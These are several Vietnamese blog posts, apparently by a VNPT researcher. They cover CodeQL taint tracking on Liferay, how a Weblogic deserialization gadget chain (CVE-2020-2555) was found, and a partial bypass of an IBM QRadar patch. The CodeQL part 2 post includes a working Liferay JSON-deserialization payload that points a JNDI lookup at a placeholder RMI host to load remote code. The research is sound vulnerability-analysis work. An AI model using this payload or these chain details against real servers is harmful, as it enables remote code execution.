Đặt breakpoint tại dòng 195 của RemoteJavaScript để thấy rõ hơn, method lúc này đã trả về null do không còn được khai báo trong file config nữa:

Đó là những gì IBM đã làm để vá lại lỗ hổng này, tuy nhiên vẫn còn tới 439 exported methods trong file config

Kết hợp với điều kiện cần (1) thì chỉ cần tìm ra 1 method nào đó mới,

• Được khai báo trong qradar-exported_methods.xml

• Không yêu cầu cấp quyền cao

• Có method param là dạng Map<>

=> Bypass CVE-2020–4280

Mình đã tìm ra 1 vài method thỏa mãn điều kiện và bypass thành công bản vá:

Hôm trước mình có report cho vendor nhưng có vẻ như họ không quan tâm lắm, do vậy mình quyết định public bài này với dạng nửa vời.

Phần PoC bypass CVE-2020–4280 này dành lại cho các bạn researcher quan tâm có thể tự tìm ra, mình tin là với những dữ liệu đã cung cấp thì việc tìm ra nó chỉ trong vài giờ đồng hồ setup lab thôi.

Cảm ơn các bạn đã đón đọc!

Jang

Nếu bạn chưa đọc thì nên đọc qua part 1 trước khi bước vào part 2 này, link bài viết tại đây: https://medium.com/@testbnull/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7

Trong phần trước, mình đang dừng lại ở đoạn tìm ra các method call tới JSONFactoryUtil.deserialize(String):

Tuy nhiên như vậy là chưa đủ để trace được từ input tới phần code xảy ra lỗi.

Trong part 2 này mình sẽ viết về TaintTracking, DataFlow tracking, 1 chức năng trong CodeQL cho phép trace data từ phần input cho tới phần bị lỗi, hay còn được gọi là từ source tới sink!

Sẽ có rất nhiều thứ mới mẻ trong phần này nên khuyến cáo bạn đọc hãy đội mũ bảo hiểm vào =)))

###########################################

Để track tainted data từ source tới sink thì CodeQL cung cấp 1 phương pháp đó là Global Taint Tracking (https://help.semmle.com/QL/learn-ql/java/dataflow.html#using-global-taint-tracking)

Đầu tiên là tạo 1 class, có thừa kế từ TaintTracking::Configuration, có dạng như sau:

Với:

• predicate isSource() dùng để chứa các công thức/ định nghĩa cho source data/ điểm bắt đầu trace tainted data

• Tương tự với isSink() dùng để xác định sink, điểm kết thúc trace tainted data

#Xác định source/sink

Xem lại bug liferay json deserialization to RCE (tại đây: https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/) thì có thể thấy được stacktrace tới bug như sau:

=> Điểm bắt đầu của bug là PollerServlet.service(), và kết thúc tại JSONFactoryImpl.deserialize().

Nhưng để áp dụng được vào CodeQL, thì không thể áp dụng nguyên cái source/sink này vào được.

Chúng ta làm rõ thế nào là tainted data, hiểu sơ sài thì đây là dữ liệu mà người dùng có thể kiểm soát được, thay đổi theo ý muốn, … và được thay đổi để điều khiển luồng thực thi của chương trình.

Taint tracking là việc đi tìm xem tainted data có thể đi được những đâu, đi được bao xa trong chương trình, và có thể đi được tới đích mong muốn hay ko. Giống như việc đổ nước vào miệng phễu để nước chảy xuống chậu, thì phần nước được đổ ở trên miệng phễu được gọi là source, còn phần nước được dẫn tới chậu sau khi có thể đã đi qua nhiều đường ống khác nhau được gọi là sink. (có thể tham khảo thêm tại: https://www.youtube.com/watch?v=ZaOtY4i5w_U).

TaintTracking trong CodeQL cũng hoạt động tương tự như vậy, nó sẽ track tainted data từ khi nó ở source cho tới khi gặp sink.

Quay trở lại với bug của liferay, như đã đề cập phía trên, điểm bắt đầu là tại PollerServlet.service()

Payload được sử dụng để khai thác có dạng:

pollerRequest=[$OPEN_CURLY_BRACE$]"javaClass":"com.mchange.v2.c3p0.jboss.C3P0PooledDataSource","jndiName":"rmi://xxxx:1099/Exploit"[$CLOSE_CURLY_BRACE$]

Nhưng tại PollerServlet.service(), chưa thấy dòng code nào lấy input pollerRequestcả.

Nhảy tiếp vào method getContent(), tại đây pollerRequestđã được lấy ra từ input của người dùng với static method ParamUtil.getString()

=> Tại đây ta có thể xem pollerRequestString là taint data, và đây cũng là phần source cần tìm

#Định nghĩa source

Biết source rồi, nhưng định nghĩa cái predicate isSource() như nào cho đúng??

Vấn đề này mình đã gặp và phải mất một thời gian đọc tham khảo QL đã có thì mới giải quyết được.

predicate isSource() có form như sau:

Có nghĩa là đối số chỉ có dạng DataFlow::Node, muốn làm gì thì làm ¯_(ツ)_/¯.

Với phần tainted data đã tìm được bên trên:

String pollerRequestString = ParamUtil.*getString*(request, "pollerRequest");

Ta có thể thấy, pollerRequestString là giá trị của 1 method call ParamUtil.getString().

Như trong bài trước mình đã có nói qua về MethodAccess, nó được dùng để định nghĩa các method call, trong phần này mình sẽ dùng nó để xác định được source.

Do các method call tới ParamUtil.getString() đều được sử dụng để lấy input data, hoặc diễn giải bằng CodeQL tương đương như sau:

• Source chain là 1 method access

• method được call có tên là getString

• Class owner của method này có tên ParamUtil

Để đơn giản hơn nữa, mình định nghĩa tường minh 1 class để xác định điều này:

class LiferayParamUtilGetString extends MethodAccess{
  LiferayParamUtilGetString(){
    exists(MethodAccess ma|
      ma.getMethod().hasName("getString")
      and ma.getMethod().getDeclaringType().hasName("ParamUtil")
      and this = ma
    )
  }
}

Nếu bạn đã đọc qua phần trước thì có thể cũng đã quen với cách define 1 class trong CodeQL, nhưng mình vẫn nhắc lại thêm 1 lần nữa!

Ở đây để xác định các method call tới ParamUtil.getString() trong bộ mã nguồn, mình định nghĩa 1 class với tên LiferayParamUtilGetString, thừa kế trực tiếp MethodAccess vì hiện tại mình đang muốn tìm các method call luôn!

Class này có predicate đặc trưng trùng với tên của class, trong này sẽ chứa các công thức/biểu thức để xác định ParamUtil.getString()

Và công thức để xác định nó là:

Mình sử dụng công thức định lượng exists() khá nhiều khi viết QL, cú pháp chung của nó như sau:

**exists**(<variable declarations> | <formula>)

Với phần <variable declarations> sẽ là vị trí khai báo các biến sẽ được sử dụng trong công thức. <formula> sẽ là công thức chính để xác định (chi tiết hơn tại đây: https://help.semmle.com/QL/ql-handbook/formulas.html#exists).

Trong công thức định lượng của mình đã khai báo bên trên.

• MethodAccess ma => Khai báo biến để sử dụng cho công thức phía sau

• ma.getMethod() => xác định method được call

• ma.getMethod().hasName(“getString”) => hasName() dùng để xác định tên của method được call này

• ma.getMethod().getDeclaringType() => xác định class owner của method được call

• ma.getMethod().getDeclaringType().hasName(“ParamUtil”) => xác định class owner có tên là “ParamUtil”

• this = ma => với this là biến built-in của class, biến này dùng để xác định class này so với class khác!

CodeQL cung cấp 1 phương pháp gọi là “Quick Evaluation” để thử nhanh query mà mình vừa viết, ví dụ như với 1 query lớn, sẽ cần phải thử nghiệm tính đúng đắn trong từng phần của query trước khi đưa cả query vào chạy. Làm như vậy sẽ tối ưu hóa được thời gian và tài nguyên sử dụng của engine!

Để sử dụng tính năng này, lựa chọn phần công thức cần chạy và chuột phải > chọn Quick Evaluation

Ví dụ như trường hợp của mình, công thức định lượng để xác định được method call là exists(), cho nên mình sẽ chọn phần công thức này và Quick Eval:

Và kết quả trả về là 1307 method call tới ParamUtil.getString():

Thực ra class để xác định method call tới ParamUtil.getString() có thể viết bằng nhiều cách, ví dụ như cách định nghĩa như sau cũng vẫn đúng:

class LiferayParamUtilGetString2 extends MethodAccess{
  LiferayParamUtilGetString2(){
    this.getMethod().hasName("getString")
    and this.getMethod().getDeclaringType().hasName("ParamUtil")
  }
}

Cách viết chỉ phụ thuộc vào bạn đã hiểu cách viết CodeQL hay chưa, và tư duy viết code của bạn như thế nào thôi!

Khi đọc bài viết này, hãy tự tìm hiểu và viết QL theo cách riêng của bạn, như vậy mới chứng minh được là bạn đã thực sự hiểu!

Quay trở lại với predicate isSource(),

Predicate này nhận vào 1 đối số với kiểu DataFlow::Node,

Kết hợp với phần định nghĩa của ParamUtil.getString(), predicate hoàn thiện sẽ có dạng như sau:

Phần QL mình thêm vào vẻn vẹn chỉ có 1 dòng nhưng nó khá là lắt léo để giải thích =))).

Bắt đầu với thứ đơn giản trước:

“instanceof” trong CodeQL có cú pháp như sau:

ObjectA ***instanceof ***ClassB

Để xác định xem ObjectA có phải là object nào của ClassB hay không (tương tự như instanceof của java: https://www.javatpoint.com/downcasting-with-instanceof-operator)

Tiếp tới là DataFlow::Node

CodeQL coi mỗi phần tử trong data flow graph là 1 DataFlow::Node, mỗi node này có thể là 1 biểu thức, 1 tham số, hoặc 1 đối số!

Việc taint tracking giống như trong hình (b), sẽ đi từ 1 Node đầu, qua n node trung gian và kết thúc tại Node 11.

Như vậy cũng giải thích lý do tại sao predicate isSource() lại có đối số là 1 DataFlow::Node!

Trong phần declaration của DataFlow::Node có các predicate sau:

Chú ý tới predicate asExpr() và asParameter(), các predicate này dùng để xác định rõ Node hiện tại đang là 1 biểu thức hay là 1 tham số (Standard library của CodeQL được comment rất rõ, nên đọc comment này để hiểu rõ tính năng của từng phần!)

Quay trở lại với phần định nghĩa predicate isSource():

• source.asExpr() sẽ trả về 1 Expr

• source.asExpr().(MethodAccess) dùng để ép kiểu MethodAccess cụ thể cho Expr vừa rồi!

Có thể ép kiểu được như vậy là do MethodAccess thừa kế Expr (giống y hệt trong java, đọc thêm tại đây: https://help.semmle.com/QL/ql-handbook/expressions.html#casts):

=> Từ những thông tin bên trên, có thể diễn giải phần định nghĩa source của mình như sau:

• Lấy 1 Node nào đó, là 1 biểu thức, có dạng method call và là 1 method call tới ParamUtil.getString()

¯_(ツ)_/¯ Mình đã diễn giải hết sức, bạn đọc vẫn cảm thấy bối rối thì cũng là do mình văn chương kém thôi…

Để kiểm tra tính đúng đắn của source, có thể bôi đen/lựa chọn phần công thức bên trong predicate và Quick Eval:

Kết quả được đúng 1307 method call như dự tính!

#Định nghĩa sink

Phần sink thì mình đã có nói trong bài trước, đó chính là method JsonDeserializeMethod, mình ko nhắc lại nữa.

Ta có thể thấy tainted data sẽ tới sink method và được truyền vào như 1 đối số của method này:

Sink method mình có định nghĩa như sau:

Có thể bạn đã quen với dạng định nghĩa như này rồi,

• ma.getMethod() instanceof JsonDeserializeMethod: xác định method call tới JSONFactoryUtil.deserialize()

• sink.asExpr() => giống như đã giải thích ở phía trên, sink ở đây cũng là 1 Node trong data flow graph, cần tìm 1 sink có dạng Expr

• ma.getAnArgument(): lấy về các đối số được cấp cho method được call tại đây

Phần define sink này có thể diễn giải ngắn gọn dưới dạng văn chương như sau:

• Tìm tất cả đối số được truyền vào JSONFactoryUtil.deserialize()

Như vậy là đã xong phần định nghĩa TaintTracking config, cuối cùng nó sẽ có dạng như sau:

• Side note:

Phần select clause phía dưới bắt buộc phải theo dạng như vậy, chỉ có phần String ở cuối là có thể thay đổi tùy ý thôi. Thay đổi linh tinh là nó ko còn ra dạng path problem nữa =)))

Chạy query và tận hưởng thành quả thôi …

=))) And we got zero result …

Bình tĩnh, tới đây chưa phải là hết, =)) hẹn gặp lại trong phần 3 để biết về cách debug và tìm lỗi …

Jang of VNPT

bonus tí nhạc nhẽo cho sôi động: https://www.youtube.com/watch?v=ErhGuwNgrmw =)))

Mấy nay bên Github SecurityLab (GHSL) có tổ chức CTF về CodeQL, mình cũng có hóng hớt và đợt này mới có CTF về CodeQL for Java. Trước đó cũng có các CTF cho C/C++, JS nhưng mình ko có nhiều khái niệm của mảng đó nên cũng ko đủ tự tin để tham gia. Giải CTF đợt này các bạn có thể xem tại: https://securitylab.github.com/ctf/codeql-and-chill (:v Netflix and chill …).

Giải này theo chia sẻ của tác giả thì cũng khá là basic, tổ chức cho người mới tìm hiểu về CodeQL, nếu bạn muốn tìm hiểu về CodeQL mà chưa có điểm khởi đầu thì đây là một cơ hội tốt để tham gia, ngày cuối của CTF là 12/06 cơ. Do giải vẫn đang diễn ra nên blog này sẽ không nói quá nhiều liên quan tới challenge của giải.

Hiện tại thì mình đang làm đồ án tốt nghiệp với đề tài là nghiên cứu về CodeQL, và đang bắt đầu học CodeQL nên muốn viết vài dòng để note lại các vướng mắc, khó khăn cũng như cách giải quyết để cho những bạn nào bắt đầu có thể dễ dàng hơn với CodeQL. Hiểu biết về QL của mình hiện tại chưa thể nói là sâu được, nhưng cũng sẽ giúp nhiều bạn tìm được điểm khởi đầu dễ dàng hơn!

Trước đó mình cũng có đọc qua một blog tiếng Việt về CodeQL, mình cứ tưởng là có người tâm huyết rồi truyền lại sang tiếng Việt, nào ngờ check lại thì đó chỉ là blog post của 1 người tàu được translate (https://paper.seebug.org/1079/).

Hồi mới bắt đầu làm quen với Semmle (sau này là CodeQL), mình gặp khá nhiều khó khăn để bắt đầu do hầu như không có tài liệu gì public về cái Semmle này. Tất cả chỉ dựa vào official document tại help.semmle.com, hiện tại thì cũng đã khá khẩm hơn sau khi được github mua lại. Hy vọng sẽ có nhiều người hơn join cộng đồng để tài nguyên ngày càng phong phú!

#Note trước khi vào bài:

• Nên có chút hiểu biết về Java

• Không nên cứng ngắc áp khái niệm của ngôn ngữ lập trình khác vào CodeQL, vì bản chất nó là 1 ngôn ngữ riêng, có khá nhiều điểm trông thì giống ngôn ngữ lập trình nhưng thực tế nó không hoạt động như vậy.

CodeQL setup

Hiện tại thì việc setup khá là đơn giản khi CodeQL chính thức được đưa lên VSCode, chỉ cần follow guide tại đây là có thể setup được: https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html

Guide này cũng bao gồm cả đoạn mở workspace, db …

Có một lưu ý là CodeQL được update khá thường xuyên nên thi thoảng nó lại báo update. Update trong CodeQL thường có rất nhiều ý nghĩa nên mình cũng khuyên là nên update!

Và khi mở db trong vscode thì cũng cần lưu ý version của db phải ≤ version của codeql extension. Nếu như version của db > version của codeql extension thì sẽ xảy ra lỗi như sau:

#ảnh mượn của người anh xã hội @ datlp

Remote Dev

Đây là 1 chức năng của VSCode mà mình rất thích.

Khi query thì codeql sẽ ngốn khá nhiều tài nguyên và làm nóng máy, Remote Dev là giải pháp cho vấn đề này.

Bạn hoàn toàn có thể cài codeql lên máy remote và chạy query trên đó, nhưng lại có được response về máy mình.

Chi tiết follow guide tại: https://code.visualstudio.com/docs/remote/remote-overview

*Trong bài này, mình sử dụng db liferay để làm ví dụ cho các query, các bạn có thể download tại đây: https://drive.google.com/file/d/1_qR2Az8a-gKhTIjuyL4eDsE1BCnmn_tw/view?usp=sharing

Basic Usage

Sau khi setup các thứ các thứ xong xuôi thì sẽ có được giao diện như sau:

Với folder codeql-custom-queries-XXX là folder sẽ chứa file query cho ngôn ngữ XXX.

Tất cả các file đặt trong folder này mới có thể sử dụng library và query bình thường được!

Ví dụ như mình có file test11.ql trong folder codeql-custom-queries-java/liferaytest/

Cấu trúc cơ bản của 1 file QL trong guide của mình có dạng như sau:

Trong đó với các annotation trong comment là @name, @kind đều có ý nghĩa cả. Xóa bỏ hoặc thay đổi các annotation này đều làm cho cả query thay đổi!

Ví dụ như mình đang sử dụng @kind = path-problem, để tìm lỗi và mong muốn output của CodeQL sẽ như sau:

Nếu không có @kind = path-problem thì output sẽ có dạng:

Sau các dòng define annotation này là tới phần import library, hiện tại mình đang query trên ngôn ngữ Java thì mình sẽ dùng “import java”. Các library này được đặt tại folder ql/java/ql/src/ với dạng đuôi .qll.

Sau khi import lib java thì sẽ tới lib “semmle.code.java.dataflow.FlowSources”. Lib này cung cấp các định nghĩa có sẵn về các nơi mà input có thể sẽ được nhận vào, ví dụ như trong HttpServletRequest thường có method “getParameter()” để lấy param từ input.

Lib DataFlow::PathGraph phía dưới là lib đi kèm với @kind = path-problem.

Và phía dưới cùng là select clause, Select clause này có dạng như sau:

from <Variable>

where <formula>

select <expression>

Trong đó thì với phần “from” và “where” có thể có hoặc không đều được.

Trông nó hơi giống với 1 câu query trong SQL bình thường:

select _X from _Y where _Z

Quay lại với query:

Với select clause của file query này là:

from **Method m**

where m.hasName("deserialize")

select m

Có thể hiểu một cách tóm lược ý nghĩa của mệnh đề select này như sau:

from **Method m** <= Từ tập hợp các method của bộ mã nguồn hiện tại
where **m.hasName("deserialize")** <= Những cái nào có tên như vậy
select **m** <= Thì chọn lấy nó

Nó cũng hơi giống với khi query trong SQL:

select **m **from **Method **where **m.name** = "**deserialize**"

Chạy y nguyên file query của mình và sẽ nhận được kết quả như sau:

Kết quả trả về là 0 results, nhưng đây là tab result của kiểu “path-problem”, hiện tại mới đang ở query test nên cần chuyển sang tab “#select” để hiện kết quả:

Và kết quả trả về là 68 method có tên “deserialize” trong bộ mã nguồn.

Có thể sửa mệnh đề select 1 chút để nó show ra cả tên Class chứa Method đó:

Method.getDeclaringType() sẽ trả về class owner của method đó (trong document của CodeQL thì nó có định nghĩa hơi khác 1 chút, nhưng để dễ gần hơn với người mới tìm hiểu thì mình sẽ tạm thời nói như vậy! Chi tiết hơn nằm tại đây https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Member$getDeclaringType.0.html).

Khi chạy lại query 1 lần nữa ta được kết quả như sau:

Kết quả trả về có bao gồm nhiều method tên deserialize, nhưng không phải là class mình đang cần tìm. Hiện tại mình đang muốn focus vào JSONFactoryUtil.deserialize(), như trong bài phân tích của mình (https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/) thì đây là nơi xảy ra bug JSON deserialize to RCE.

Để giới hạn lại chỉ còn “JSONFactoryUtil”, ta sử dụng query:

Ta đã biết ở trong query trước, “Method.getDeclaringType()” sẽ trả về class owner của method đó, do vậy Method.getDeclaringType().hasName(“ABC”) sẽ giới hạn lại class owner chỉ có tên “ABC”.

Kết quả sau đó chỉ còn 2 kết quả là 2 method của class JSONFactoryUtil:

Mặc dù trong phần kết quả hiện ra 2 method giống y chang nhau, nhưng thực tế đây là 2 method khác nhau:

Đối số của 2 method này không giống nhau, 1 cái là JSONObject, 1 là String.

Trong bug của liferay, method gây ra lỗi là method “JSONFactoryUtil.deserialize(String)”. Do đó cần thêm 1 lần filter nữa để chỉ lấy mỗi method này.

Query mình sử dụng để limit lần này là:

Với “Method.getParameterType(index)” sẽ trả về kiểu của parameter trong method hiện tại. Sử dụng thêm hasName(“String”) để lấy các parameter có type là “String”.

Sau khi modify query thì cuối cùng sẽ chỉ còn 1 kết quả là method deserialize(String) cần tìm:

#Class

Mặc dù câu query đã đạt được mục đích là tìm Method deserialize(String) nhưng nó vẫn khá cồng kềnh, để gọn gàng hơn thì có thể define thêm 1 class cho việc này:

Cú pháp để declare class có dạng như sau:

class NameFoo extends <type>{
  NameFoo(){
  ...
  }

  predicate doSmt(){}
}

Lưu ý là 1 class cần được 1 extends ít nhất 1 kiểu nào đó và tên của class phải bắt đầu bằng chữ in hoa, bên trong class này sẽ có các thứ giống như 1 method của java, nhưng ở đây nó được gọi là predicate.

Mỗi class sẽ có 1 predicate đặc trưng, trùng với tên của class đó (hao hao giống constructor của java), predicate này có sử dụng biến “this”, biến “this” này để xác định chính class đó, nói thì hơi lằng nhằng nên quay trở lại ví dụ của mình cho dễ hiểu.

Class của mình define bên trên có tên là “JsonDeserializeMethod”, thừa kế kiểu Method. Bên trong class này có 1 predicate đặc trưng, trùng với tên của nó, predicate đặc trưng này sẽ xác định class này khác với class như thế nào. Body của predicate này:

Trong đó sử dụng formula exists(), hiểu 1 cách đơn giản, formula này sẽ kiểm tra xem có tồn tại thứ gì thỏa mãn điều kiện được đưa vào hay không.

Như trong trường hợp hiện tại, điều kiện cần thỏa mãn ở đây chính là phần điều kiện của select clause hồi nãy:

Chỉ khác 1 điều khác là trong phần body của predicate đặc trưng, sau khi xác định được các điều kiện thỏa mãn, nhất định phải xác định được biến “this” này, như trong trường hợp của mình là “this = m”.

#MethodAccess

Hiện tại đã có thể xác định được chính xác Method cần tìm, để tìm được các Method nào gọi đến Method đó thì QL có cung cấp 1 kiểu đó là MethodAccess.

MethodAccess nắm giữ các call method, ví dụ như method Foo.getBar() -> Foo2.setFoo(xyz).

• MethodAccess.getMethod() (hoặc getCallee()): trả về method được call

• MethodAccess.getCaller(): trả về method chủ động call.

Quay trở lại với query mình đang viết dở, khi áp dụng thêm MethodAccess vào sẽ có dạng như sau:

Trong đó:

• JsonDeserializeMethod chính là method deserialize(String) đã define trước đó, và có kiểu là Method

• ma.getMethod() = jsm: tìm ra tất cả các MethodAccess nào có method được gọi là JsonDeserializeMethod

Kết quả sau khi query sẽ ra được các method có call tới JsonDeserializeMethod:

#Lưu ý rất lớn: công thức với dấu “=” trong QL không hề giống với các ngôn ngữ lập trình khác. NÓ KHÔNG CÓ Ý NGHĨA LÀ PHÉP GÁN BIẾN.

Trong các ngôn ngữ lập trình thì 1 biến sẽ biểu diễn cho địa chỉ vùng nhớ nào đó có dữ liệu, và có thể thay đổi theo thời gian.

Ví dụ với cùng 1 công thức như sau:

**n = n + 1**

• Trong Java hoặc các ngôn ngữ lập trình khác, nó có ý nghĩa: n bằng giá trị của n hiện tại cộng thêm 1

• Trong QL, đây là 1 công thức 2 vế, chỉ đúng khi tồn tại 1 giá trị n nào đó thỏa mãn n bằng với n + 1

Do đó công thức phía trên không bao giờ thỏa mãn, vì không tồn tại bất cứ n nào thỏa mãn “n = n + 1".

Trên đây là 1 số khái niệm cơ bản đề bắt đầu với CodeQL, nếu bạn có hứng thú với nó thì nên thực hành luôn để hiểu rõ vấn đề hơn, chỉ đọc không thì kiến thức vẫn là của tác giả, khó mà đọng lại gì trong đầu!

Rất mong được sự góp ý của ae bạn bè để giúp cho series được chất lượng hơn!

Cảm ơn các bạn đã theo dõi tới đây, hẹn gặp lại trong phần 2 của series này.

Ref:

• https://help.semmle.com/QL/ql-handbook/index.html

• https://en.wikipedia.org/wiki/Datalog

• https://securitylab.github.com/research

• https://ghsecuritylab.slack.com/

• https://github.com/github/securitylab/discussions

Jang of VNPT

Trước đó mình cũng định viết bài về cái bug này, mà bận quá chưa có time để ngồi viết lách gì cả. Đành để các bạn ZDI publish trước, còn mình sẽ viết về cách mà mình đã tìm ra cái bug này!

Tầm 6 tháng trước, mình có nhận job về mấy con weblogic này và bắt đầu lún sâu vào Weblogic từ đó tới giờ chưa rút được được ra :(.

(Event log về đợt đó vẫn còn tại đây: https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-assmin-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-weblogic-122130-sh/2234157883364831/).

Ngày đó mình có dùng GadgetInspector (https://github.com/JackOfMostTrades/gadgetinspector) tìm ra cái gadget put file bằng Spring AOP kết hợp với CVE-2018–3245 để drop shell lên server:

Đây là động lực thúc đẩy mình tiếp tục nghiên cứu cái tool này và không lâu sau đó, mình tìm ra cái gadget mới, được đặt số là CVE-2020–2555.

Nói qua chút về cái gadgetchain này, nó được tìm thấy trong library coherence.jar của weblogic.

Chain chi tiết như sau:

GadgetChain này có source là BadAttributeValueExpException.readObject() -> toString() như trong các bài trước của series mình có đề cập.

Điều thú vị của gadgetchain này đó là nó có cách hoạt động giống hệt gadgetchain CommonsCollections trong bài trước mình đã phân tích.

Với CommonsCollections là ChainedTransformer, còn với weblogic là ChainedExtractor.

Với CommonsCollections là InvokerTransformer thì weblogic là ReflectionExtractor.

Các thành phần của chain này cứ như là được sinh ra để làm gadgetchain vậy!

Thực ra ban đầu, source chain của cái bug này không phải là LimitFilter.toString(). Để lead tới ChainedExtractor.extract() thì mình sử dụng 1 đoạn chain khác khá là dài, và cần sửa nhiều chỗ linh tinh nữa mới có thể trigger được extract(). Nhưng là vì thương đội ZDI, giảm thời gian phân tích cho họ nên mình mới lấy cái LimitFilter.toString() này để report =))).

Hiện tại thì theo như patch của oracle, họ chỉ remove đoạn call tới extract() ở LimitFilter.toString() nên cái gadgetchain mình tìm ra ban đầu vẫn chưa được fix triệt để =))) …

(Thông tin chi tiết hơn của cái bug này thì các bạn vui lòng đọc thêm tại đây: https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server ).

Còn dưới đây mình sẽ kể về quá trình tìm ra cái bug này!

Như đã nói phía trên, sau khi kiếm được cái gadget drop shell, mình đã focus 100% thời gian vào tìm kiếm gadgetchain trong weblogic.

Các bug về deserialization trên weblogic đã có từ rất lâu, và oracle chọn cách fix bằng cách đặt blacklist, chặn hết các “known chain”. Entrypoint để deserialize là T3 thì vẫn còn đó, việc tìm ra lỗ hổng mới trên weblogic chỉ phụ thuộc vào việc có gadgetchain mới nào được tìm ra hay không thôi!

Weblogic có sử dụng đến hơn 500 library khi chạy, vào thời điểm đâm đầu vào tìm lỗi, mình hoàn toàn tự tin là sẽ tìm thấy 1 hoặc nhiều gadgetchain mới trong đống này. Không có lý nào nhiều lib vậy mà lại ko có thêm 1 cái gadgetchain mới nào!

Để kiếm được gadgetchain trong weblogic, mình tìm tất cả các file jar trong folder cài đặt của weblogic và ném nó vào cùng 1 folder như này:

Sau đó chạy gadgetinspector để tìm chain thôi:

Cho nó chạy tầm 30p thì bắt đầu ra 1 đống kết quả tại file gadgetchains.txt.

Sau khi check từng cái một (khoảng hơn 300 gadgetchain) thì trường hợp bị false positive rất rất nhiều.

Khá là nản, mình cũng nghĩ: tool thì public, target cũng public, kiểu gì chả có người chạy thử rồi!

Mình quyết định ko chạy cái tool này nữa, mà đọc nó, học xem cách nó chạy thế nào.

Vào thời điểm đó thì chưa có bài phân tích chi tiết về cách hoạt động của cái tool này, mình phải đọc slide của tác giả, contact tác giả để hỏi mà không có được accept tin nhắn :(. Đành phải vào nước cuối cùng: đọc hiểu code vậy. (Về sau có mấy anh tàu khựa viết bài nghiên cứu về nó tại đây: https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)

Giai đoạn đọc code này khá là tốn thời gian và cũng khá là vô vọng. Mình vừa kết hợp đọc và debug trực tiếp để hiểu cách hoạt động của nó.

Sau 1 thời gian đọc hiểu tool thì mình có thể tóm gọn lại hoạt động của nó như sau:

• Tìm kiếm tất cả các class, method trong library

• Tìm kiếm tất cả các mối quan hệ kế thừa, các implemented method, override …

• Tìm các passthrough, method call. Ví dụ như method A -> method B.

• Tìm các “known source chain”.

• Và cuối cùng là dựa vào các dữ liệu trên để tìm ra gadgetchain với GadgetChainDiscovery!

Ý tưởng của việc tìm kiếm gadgetchain khá là đơn giản:

Bắt đầu từ source chain được push vào 1 list, tool sẽ tìm tất cả các method call có thể từ cái source chain này và so sánh:

• Nếu method được call là sink thì sẽ show ra

• Nếu không phải thì push lại vào stack để thực hiện travel tiếp vào lượt tới

• Push method vừa visit vào 1 cái list khác để lần sau không lặp lại việc visit nữa.

Thuật toán này hình như được gọi là Breadth-First Search.

Debug 1 thời gian thì mình mới biết lý do tại sao tool này nó hơi ngu ngu!

Vấn đề mấu chốt là ở bước: “Push method vừa visit vào 1 cái list khác để lần sau không lặp lại việc visit nữa” của class GadgetChainDiscovery.

Ví dụ như chain A->B->C và A->B->X

Nhánh nào được visit trước thì sẽ được show ra kết quả, nhánh còn lại là A->B->X sẽ bị ignore, không được list vào nữa.

Đoạn này được code là để tránh trường hợp loop, dead end.

Nếu như không có đoạn này thì chương trình sẽ chạy rất rất rất lâu …

Mình đã từng gỡ thử nó đi và chạy, kết quả là đến tận 2 ngày vẫn chưa thấy nó có dấu hiệu dừng =)).

Vừa muốn ra nhiều kết quả thêm và cũng không muốn deadend, mình thay đổi code 1 chút.

Thay vì “push method vào và không visit nữa” thì mình push method và có note lại số lần đã visit, nếu nhiều hơn vài lần đó thì sẽ cho skip:

Và lần này khi chạy đã ra nhiều kết quả hơn, hứa hẹn hơn lần trước!

CVE-2020–2555 cũng được tìm ra sau khi sửa logic của tool như vậy.

Sample của các gadgetchain tìm được là như vậy.

Dĩ nhiên là vào thời điểm tìm ra CVE-2020–2555, tool chưa chạy tốt lắm, chưa ra được ngay gadgetchain đẹp như trên được. Rất tiếc là mình ko lưu tool gốc để lấy sample post lên đây.

Hiện tại thì tool cũng chạy khá là ổn định, không còn false positive nhiều như tool ban đầu nữa. Đó là thành quả của 1 thời gian khá là lâu trong việc chỉnh sửa logic tool, thêm các blacklist, source, sink mới.

Đợt đó mình định submit bài speak tại Trà đá hacking, nhưng do bên ZDI khác là chậm, delay case của mình tận 6 tháng nên cũng phải drop theo luôn …

Phía trên vài lời mình muốn nói về quá trình mình tìm ra CVE-2020–2555. Bài viết lần này có thể hơi nhạt nhẽo và lan man do đã là 6 tháng kể từ thời gian đó tới giờ. Mình không còn nhớ nhiều gì về dạo đó nữa.

Về phiên bản modified gadgetinspector của mình thì mình chưa có ý định sẽ public vì còn 1 số công việc vẫn còn dính líu tới!

Cảm ơn bạn đọc đã theo dõi!

Jang

Sau khi đọc qua và test gadgetchain này trên lab, mình quyết định chia sẻ với mọi người vì nó có liên quan tới cái part 1 của loạt bài về gadgetchain của mình (https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-3816eb5a7afc).

Link bài viết gốc ở đây: https://know.bishopfox.com/research/gadgetprobe

Source code gốc của Burpsuite Extension ở đây: https://github.com/BishopFox/GadgetProbe

Bài viết chỉ đơn thuần là viết lại và phổ cập thêm về cái gadgetchain này, không có gì mới hơn nhiều lắm so với bài viết gốc nên nếu bạn đã đọc qua rồi thì có thể bỏ qua bài này cũng được!

#Nguyên nhân xuất hiện của gadgetchain

Trong các case thực tế của nhiều ae đi pentest, khi fuzz sẽ gặp nhiều entrypoint cho phép deserialize thông qua các signature thông dụng như: byte 0xaced, rO0AB …

Tuy nhiên do đang ở mức blackbox nên hầu như không có thông tin gì về product, các library có trong classpath của service đang chạy. Đa số đều thực hiện generate tất cả payload từ ysoserial và thử từng cái 1, cái nào ăn được thì ăn, không ăn được thì bỏ.

